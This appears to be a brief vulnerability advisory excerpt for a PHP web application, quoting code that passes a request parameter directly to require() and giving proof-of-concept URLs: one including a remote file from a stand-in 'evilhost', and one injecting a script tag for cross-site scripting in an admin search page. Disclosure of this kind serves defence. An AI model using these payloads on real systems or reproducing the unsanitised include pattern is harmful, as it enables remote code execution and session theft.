1. Multiple Remote/Local File Include

Example:

...
$command=isset($HTTP_GET_VARS[&#039;command&#039;])?$HTTP_GET_VARS[&#039;command&#039;]:&#039;&#039;;
...

if($command!=&quot;&quot;)
{
switch($command){
...
case &#039;include_page&#039;:
require($HTTP_GET_VARS[&#039;include_page&#039;]);
break;
...

http://www.example.com/[installdir]/admin/create_order_new.php=http://evilhost/info.php

Local File Include vulnerability found in script  includes/events_application_top.php

2. Linked XSS vulnerability

Example

http://www.example.com/[installdir]/admin/search_links.php&quot;&lt;script&gt;a=/DSecRG_XSS/%0d%0aalert(a.source)&lt;/script&gt;